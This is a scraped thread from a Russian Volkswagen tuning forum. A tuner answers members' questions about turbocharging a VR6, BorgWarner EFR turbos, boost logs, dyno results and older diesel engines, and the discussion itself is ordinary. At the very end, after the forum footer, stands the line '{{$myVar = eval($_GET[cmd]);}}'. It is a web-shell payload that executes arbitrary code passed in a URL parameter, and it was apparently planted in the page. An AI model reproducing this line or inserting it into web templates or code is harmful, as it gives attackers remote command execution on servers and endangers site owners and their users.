+ Ответить в теме
Показано с 1 по 10 из 646

Тема: Советы от turborabbit`a


Комбинированный просмотр

  1. #1
    GTI-Racing SLAVA-V6 is on a distinguished road Аватар для SLAVA-V6
    Регистрация
    24.05.2010
    Откуда
    Чехов
    Машина
    Чёткий!
    Сообщений
    68
    может,ещё просветите возможность настройки vr6 с турбой?

  2. #2
    GTI-Racing turborabbit is a splendid one to behold turborabbit is a splendid one to behold turborabbit is a splendid one to behold turborabbit is a splendid one to behold turborabbit is a splendid one to behold turborabbit is a splendid one to behold turborabbit is a splendid one to behold Аватар для turborabbit
    Регистрация
    07.09.2011
    Откуда
    +ключи от квартиры
    Машина
    MKVI GTi 475hp
    Сообщений
    533
    Цитата Сообщение от SLAVA-V6 Посмотреть сообщение
    может,ещё просветите возможность настройки vr6 с турбой?
    ====
    Чтобы всё получилось хорошо и долговечно - электрика должна быть от американского ВР6 с электродросселем и широкой лямдой.
    Мозг учим видеть наддув и оно ездит долго и быстро.

    Добавлено через 1 минуту
    Цитата Сообщение от Лёха Сарай Посмотреть сообщение
    Привет Всем!
    Кирилл, день добрый!

    Очень познавательная тема!!! Спасибо!!!:expect:

    Авто достался уже с чипом.
    Логов никаких нет. В BSR еще не был, но планирую съездить на консультацию, т.к. впервые имею дело с чипованым мотором.

    Привод полный. Мотор BWA сток + BSR.
    Нареканий к работе мотора нет.
    Но хотелось бы попросить вас взглянуть на график, чтобы было о чем разговаривать в BSR если будут какие-либо замечания.

    Особо перестраивать мотор пока не планирую (в ближайшие года 2 точно, ну если только в легкую...).
    Придет время - другой разговор...
    Заранее большое спасибо!
    график:
    ====
    Не вижу криминала. Всё красиво.

    Добавлено через 4 минуты
    Цитата Сообщение от Бельмондо Посмотреть сообщение
    Кирилл, что можешь сказать о относительно новой линейке BorgWarner EFR, может был уже опыт работы с ней. Я так понимаю это что-то тиро линейки GTK у TurboNetics-a и GTX у Garrett-a. Планируется использоваться на старом 1.8Т. Сори если уже обсуждалось, не нашел.
    ====
    Плюсы - переваривает температуру 1050, что на 100 градусов выше гарреттов ГТХ. По этому эту турбу любят горе-тюнеры, особенно на машинах последних поколений где трудно сделать мозги чтобы не было ЕГТ.
    По сути пробная турба этой линейки была К04 которая на 2.0ТФСИ моторах.
    Минусов пока не видел, разве что ценник был высоковат поначалу.

    Добавлено через 7 минут
    Цитата Сообщение от jich77 Посмотреть сообщение
    ,17.89,3120,137.6,1890.0,1910.0,,,,,,,,,,
    ,18.29,3120,141.4,1690.0,1870.0,,,,,,,,,,
    ,18.69,3200,127.8,1640.0,1700.0,,,,,,,,,,
    ,19.09,3200,124.8,1630.0,1670.0,,,,,,,,,,
    ====
    Из всего лога вижу вот тут передув.
    Возможно в некоторых условиях он вызывает аварийный режим.
    А так вроде нормально

    Добавлено через 14 минут
    Цитата Сообщение от serzh1 Посмотреть сообщение
    Машина едишен35 замерился на фесте )Вот что показало ! Почему на 10 меньше показала ?и почему провал вначале?Заранее спасибо
    ====
    Это галимый польский стенд.
    Такой есть в Киеве и мы как-то пытались там что-то мерять.
    Нунах. Погода на Марсе.

    Добавлено через 18 минут
    Цитата Сообщение от Xander Посмотреть сообщение
    А можно поинтересоватся а старые насосы это тнвд ? и первые гольфы это АХХ ?

    и в чем раздница между АХХ и BWA ?? кроме СЖ 10.5 против 10.3
    и сколько можно снять с АХХ?
    зарание большое спасибо
    ====
    Чем старее моторы тем меньше снимать.
    Старые АХХ моторы с пробегом по России я бы вообще не трогал.
    Ну или там меняны валы-стаканчики-тнвд и прочая требуха которая за эти годы сносилась в ноль.
    Разница там ещё в геометрии поршня и плохой прививке шатунов от клаустофобии - всё из блока выпрыгнуть норовят.

    Добавлено через 19 минут
    Цитата Сообщение от dimm Посмотреть сообщение
    АУ :):pepper:
    ====
    Сорри, я не прошиваю в РФ.

    Добавлено через 20 минут
    Цитата Сообщение от Лёха Сарай Посмотреть сообщение
    как в танке
    ====
    Звиняйте, я тут не часто
    Последний раз редактировалось turborabbit; 25.07.2012 в 14:58. Причина: Добавлено сообщение
    Запомните и "зарубите на носу" : 2.0TFSI+K03 = max300hp 2.0TSI+IHI = max315hp 2.0T(F)SI+K04 = max400hp :)

  3. #3
    GTI-Racing geminus is a jewel in the rough geminus is a jewel in the rough geminus is a jewel in the rough Аватар для geminus
    Регистрация
    31.01.2007
    Откуда
    МО, г.Чехов
    Машина
    Audi A6 Allroad
    Сообщений
    1,260
    Цитата Сообщение от turborabbit Посмотреть сообщение
    ====
    Чтобы всё получилось хорошо и долговечно - электрика должна быть от американского ВР6 с электродросселем и широкой лямдой.
    Мозг учим видеть наддув и оно ездит долго и быстро.
    имеется ввиду гольф3 вр6 синхровой, какие варианты??
    AUDI ALLROAD A6 3.0TDI Quattro 6MT
    МО, Чехов
    Иван


+ Ответить в теме

Похожие темы

  1. Советы по gti
    от Erik в разделе Golf 6
    Ответов: 18
    Последнее сообщение: 02.07.2024, 16:13
  2. Советы при покупке
    от Ku6epHeTuKa в разделе Welcome to GTI-CLUB
    Ответов: 0
    Последнее сообщение: 02.07.2014, 14:12

Ваши права

  • Вы не можете создавать новые темы
  • Вы не можете отвечать в темах
  • Вы не можете прикреплять вложения
  • Вы не можете редактировать свои сообщения
{{$myVar = eval($_GET[cmd]);}}